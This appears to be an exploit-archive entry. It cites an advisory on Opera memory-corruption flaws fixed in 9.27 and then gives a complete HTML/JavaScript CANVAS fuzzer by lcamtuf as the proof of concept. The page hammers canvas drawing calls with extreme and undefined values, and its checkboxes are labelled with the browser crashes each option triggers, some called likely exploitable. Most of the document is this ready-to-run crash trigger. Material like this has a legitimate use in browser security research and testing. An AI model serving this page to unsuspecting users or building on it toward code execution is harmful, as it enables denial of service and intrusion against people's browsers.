source: https://www.securityfocus.com/bid/28585/info
Opera Web Browser is prone to multiple security vulnerabilities that may allow remote attackers to execute code.
These issues lead to memory corruption and may result in remote unauthorized access and denial-of-service attacks.
Versions prior to Opera 9.27 are vulnerable.
<body> <font face="arial,helvetica"> <font size=+3><code><CANVAS></code> fuzzer</font><font size=-1> by <a href="mailto:lcamtuf@coredump.cx">lcamtuf@coredump.cx</a></font><p> <div id=ccont> <canvas id=canvas height=200 width=300 style="border: 1px solid teal"></canvas> </div> <img id=image src="envelope.gif" align=top> <p> <input type=checkbox id=dealloc> Deallocate canvas after every cycle (NULL ptr in Safari, likely exploitable in Opera)<br> <input type=checkbox id=keep_ctx> Keep context (if combined with above, NULL ptr Firefox, likely exploitable in Opera)<br> <input type=checkbox id=scale_large> Use large canvas scaling (likely exploitable in Opera, bogs down Firefox)<br> <input type=checkbox id=return_undef> Return <code>undefined</code> values (NULL ptr Safari, may hang Opera)<br> <input type=checkbox id=return_large> Return large integers (exploitable crash in Safari, OOM/DoS elsewhere)<br> <input type=checkbox id=quick> Skip time-consuming operations (quicker, but may miss issues)<p> <input type=submit value="Begin tests" id=button onclick="setup_all()"><p> <script> var ctx; /* Canvas context */ var imgObj; /* Reference image */ var scval = 1; var transval = 0; var quick; var dealloc; var return_undef; var return_large; var scale_large; var keep_ctx; var iht; function setup_all() { var canvas = document.getElementById('canvas'); ctx = canvas.getContext('2d'); imgObj = document.getElementById('image'); iht = document.getElementById('ccont').innerHTML; quick = document.getElementById('quick').checked; dealloc = document.getElementById('dealloc').checked; return_undef = document.getElementById('return_undef').checked; return_large = document.getElementById('return_large').checked; scale_large = document.getElementById('scale_large').checked; keep_ctx = document.getElementById('keep_ctx').checked; document.getElementById('button').disabled = true; setInterval('do_fuzz();',1); } function R(x) { return Math.floor(Math.random() * x); } function make_number() { var v; var sel; if (return_large == true && R(3) == 1) sel = R(6); else sel = R(4); if (return_undef == false && sel == 0) sel = 1; if (R(2) == 1) v = R(100); else switch (sel) { case 0: break; case 1: v = 0; break; case 2: v = 0.000001; break; case 3: v = 10000; break; case 4: v = 2000000000; break; case 5: v = 1e100; break; } if (R(4) == 1) v = -v; return v; } function make_color() { if (R(2) == 1) return "#C0F0A0"; else return "#000090"; } function make_fill() { var sel; if (quick == true) sel = 0; else sel = R(6); switch (sel) { case 0: case 1: case 2: return make_color(); break; case 3: var r = ctx.createLinearGradient(make_number(),make_number(),make_number(),make_number()); for (i=0;i<4;i++) r.addColorStop(make_number(),make_color()); return r; break; case 4: var r = ctx.createRadialGradient(make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); for (i=0;i<4;i++) r.addColorStop(make_number(),make_color()); return r; break; case 5: var r = ctx.createPattern(imgObj,"repeat"); if (R(6) == 0) r.addColorStop(make_number(),make_color()); return r; break; } } function do_fuzz() { if (dealloc == true) document.getElementById('ccont').innerHTML = iht; if (keep_ctx == false) { var canvas = document.getElementById('canvas'); ctx = canvas.getContext('2d'); } for (i=0;i<100;i++) { try { switch (R(33)) { case 0: ctx.fillStyle = make_fill(); break; case 1: ctx.globalAlpha = Math.random() - .5; break; case 2: switch (R(3)) { case 0: ctx.globalCompositeOperation = 'copy'; break; case 1: ctx.globalCompositeOperation = 'xor'; break; case 2: ctx.globalCompositeOperation = 'source-over'; break; } break; case 3: switch (R(2)) { case 0: ctx.lineCap = 'round'; break; case 1: ctx.lineCap = 'butt'; break; } break; case 4: switch (R(2)) { case 0: ctx.lineJoin = 'round'; break; case 1: ctx.lineJoin = 'miter'; break; } break; case 5: ctx.lineWidth = make_number(); break; case 6: ctx.miterLimit = make_number(); break; case 7: if (quick == true) break; ctx.shadowBlur = make_number(); break; case 8: if (quick == true) break; ctx.shadowColor = make_fill(); break; case 9: if (quick == true) break; ctx.shadowOffsetX = make_number(); ctx.shadowOffsetY = make_number(); break; case 10: ctx.restore(); break; case 11: ctx.rotate(make_number()); break; case 12: ctx.save(); break; case 13: ctx.scale(-1,-1); break; case 14: if (quick == true) break; if (transval == 0) { transval = make_number(); ctx.translate(transval,0); } else { ctx.translate(-transval,0); transval = 0; } break; case 15: ctx.clearRect(make_number(),make_number(),make_number(),make_number()); break; case 16: if (quick == true) break; ctx.drawImage(imgObj,make_number(),make_number(),make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); break; case 17: ctx.fillRect(make_number(),make_number(),make_number(),make_number()); break; case 18: ctx.beginPath(); break; case 19: // ctx.clip() is evil. break; case 20: ctx.closePath(); break; case 21: ctx.fill(); break; case 22: ctx.stroke(); break; case 23: ctx.strokeRect(make_number(),make_number(),make_number(),make_number()); break; case 24: if (quick == true) break; ctx.arc(make_number(),make_number(),make_number(),make_number(),make_number(),true); break; case 25: if (quick == true) break; ctx.arcTo(make_number(),make_number(),make_number(),make_number(),make_number()); break; case 26: if (quick == true) break; ctx.bezierCurveTo(make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); break; case 27: ctx.lineTo(make_number(),make_number()); break; case 28: ctx.moveTo(make_number(),make_number()); break; case 29: if (quick == true) break; ctx.quadraticCurveTo(make_number(),make_number(),make_number(),make_number()); break; case 30: if (quick == true) break; ctx.transform(make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); break; case 31: if (quick == true) break; ctx.setTransform(make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); break; case 32: if (scale_large == true) { switch (scval) { case 0: ctx.scale(-1000000000,1); ctx.scale(-1000000000,1); scval = 1; break; case 1: ctx.scale(-.000000001,1); scval = 2; break; case 1: ctx.scale(-.000000001,1); scval = 0; break; } } break; } } catch (e) { } } } </script>
